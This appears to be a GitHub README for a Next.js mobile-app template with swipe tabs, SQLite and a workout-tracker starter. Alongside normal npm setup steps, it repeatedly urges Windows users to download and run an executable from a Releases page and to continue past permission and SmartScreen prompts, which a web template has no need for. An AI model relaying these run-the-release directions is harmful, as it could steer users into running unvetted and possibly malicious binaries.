Skip to content

Repository files navigation

📱 nextjs-mobile-app-template - Build a Native-Style App Fast

Download the app

🧭 What this app is

This project is a ready-made mobile app template built with Next.js. It opens like a phone app, works in a browser, and can also be added to a home screen on iPhone. It starts as a workout tracker, so you can see how the app is set up, then replace the sample screens with your own idea.

You can use it to learn the app flow, test the layout, or run it as a full-screen web app on Windows and on mobile devices.

📥 Download and run on Windows

  1. Open the Releases page
  2. Download the latest release file for Windows
  3. If the file comes in a ZIP folder, right-click it and choose Extract All
  4. Open the extracted folder
  5. Double-click the app file or follow the included run steps
  6. If the app asks for permission, choose Yes

If you use the source files instead of a release build:

  1. Install Node.js on your Windows PC
  2. Open the project folder
  3. Open Command Prompt in that folder
  4. Run npm install
  5. Run npm run dev
  6. Open http://localhost:3000 in your browser

✨ What you get

  • A mobile-style app layout with bottom tabs
  • Swipe between screens with horizontal scrolling
  • A workout tracker starter flow
  • A clean UI built with Tailwind CSS and shadcn/ui
  • Fast page loading with Next.js 16
  • Local data storage with SQLite
  • A setup that can grow into a real app
  • A design that works well on desktop and phone

🖥️ What you need

Use a Windows 10 or Windows 11 PC with:

  • A modern web browser
  • Enough free space for the app files
  • Internet access for the first download
  • Node.js if you want to run the source project
  • A keyboard and mouse for setup

For the best experience, use a recent version of Chrome, Edge, or Firefox.

🚀 Get started from a release

If you want the simplest path, use the release build.

  1. Go to the Releases page
  2. Download the newest Windows package
  3. Save the file to your Downloads folder
  4. Open the file after it finishes downloading
  5. Follow any on-screen prompts
  6. Start the app from the file or shortcut it creates

If Windows shows a SmartScreen prompt, check that the file came from the release page before you continue.

🧱 Project layout

This template uses a simple structure so you can find things fast.

  • src/app/page.tsx — main app screen
  • src/app/layout.tsx — app wrapper
  • src/components/ — buttons, cards, and shared UI parts
  • src/lib/ — helper code
  • src/db/ — local data storage setup
  • public/ — images and static files

The main screen acts like a single-page app. It uses horizontal scroll snap, so tab changes feel like a phone app instead of a normal website page change.

📲 How the app moves

The app uses a bottom tab bar and swipe motion.

  • Tap a tab to move to a new section
  • Swipe left or right to move between screens
  • Keep the layout full screen
  • Use the app like a native mobile app

This setup works well for apps that need a small set of main views, such as workouts, notes, tasks, habits, or daily check-ins.

🛠️ Running the source version

If you want to edit the app on Windows, use the source project.

  1. Install Node.js
  2. Open the project folder
  3. Open PowerShell or Command Prompt in that folder
  4. Run npm install
  5. Wait for the packages to finish installing
  6. Run npm run dev
  7. Open http://localhost:3000 in your browser

If the app does not open at first, check that the terminal is still running and that no other app is already using port 3000.

🧩 What each part does

App shell

The app shell keeps the interface in one place and makes it feel like a phone app. It uses full viewport height and a fixed layout so the screen does not jump around.

Tabs

The tab bar sits at the bottom of the screen. It gives quick access to the main parts of the app.

Swipe navigation

Swipe navigation lets you move between sections with a left or right drag. This makes the app feel close to a native mobile app.

Data storage

SQLite stores local data on the device or local machine. It works well for small app data like workout logs, saved items, or user settings.

Query handling

TanStack Query helps the app load and refresh data in a clean way. It keeps the screen in sync with stored data.

🧭 Using the workout tracker starter

The included starter flow shows how the app can support a simple fitness use case.

You can use it to track:

  • Workout days
  • Exercise names
  • Sets and reps
  • Time spent training
  • Progress over time

You can also change the sample content and turn it into a different app, such as:

  • Habit tracker
  • Meal planner
  • Reading log
  • Study planner
  • Daily task app

🎨 Design parts

The design uses a few common tools:

  • Next.js 16 for the app structure
  • React 19 for interface logic
  • TypeScript for safer code
  • Tailwind CSS 4 for styling
  • shadcn/ui for ready-made interface parts

These tools help keep the app neat and easy to extend.

🔧 Common setup steps

If you plan to work on the project often, these steps help keep things smooth:

  1. Install Node.js once
  2. Keep the project folder in a simple path, such as Documents
  3. Use a recent browser for testing
  4. Restart the terminal after installing new tools
  5. Refresh the page after code changes
  6. Keep the release file in a safe folder after download

📌 Best way to use this template

Use this project if you want:

  • A mobile app look without a store build
  • A quick starting point for a new app
  • A layout that works on phone and desktop
  • A simple base you can replace with your own content
  • A full-screen web app that behaves like a native app

🖱️ First-time Windows steps

If this is your first time using a project like this on Windows:

  1. Download the release from the Releases page
  2. Save it to your computer
  3. Extract it if needed
  4. Open the folder
  5. Look for a readme or start file inside the release package
  6. Run the app file or follow the source setup steps

If you are using the source code, make sure Node.js is installed before you run any commands.

📱 Home screen use on iPhone

This template also supports a home screen style on iPhone.

  1. Open the app in Safari
  2. Tap Share
  3. Tap Add to Home Screen
  4. Give it a name
  5. Tap Add

After that, the app opens in full screen with a phone-style feel

🔍 Release download link

Use this page to download the latest version:

Visit the Releases page

📂 File types you may see

The release download may include one or more of these:

  • ZIP archive
  • Windows app file
  • Setup file
  • README file
  • Static web files

If you see a ZIP file, extract it before opening the app files inside.

🧪 Simple test after setup

After you open the app, check these items:

  • The screen loads without errors
  • The bottom tabs show up
  • Swipe moves between sections
  • The page stays full screen
  • Saved data stays after refresh

If one part does not work, reload the page and try again

🧠 Why this layout works well

This template keeps the app in one page, so the interface stays simple. That helps when you want a small mobile-style app with clear sections and fast navigation. It also gives you room to add your own screens later without rebuilding the base layout

📦 Install flow at a glance

  1. Download from the Releases page
  2. Open the file
  3. Extract it if needed
  4. Run the app or open the local project
  5. Use the bottom tabs or swipe to move around

About

Build native-feeling Next.js mobile apps with swipe tabs, PWA support, TypeScript, Tailwind CSS, shadcn/ui, and SQLite

Topics

Resources

Stars

3 stars

Watchers

1 watching

Forks

Releases

Packages

Contributors

Languages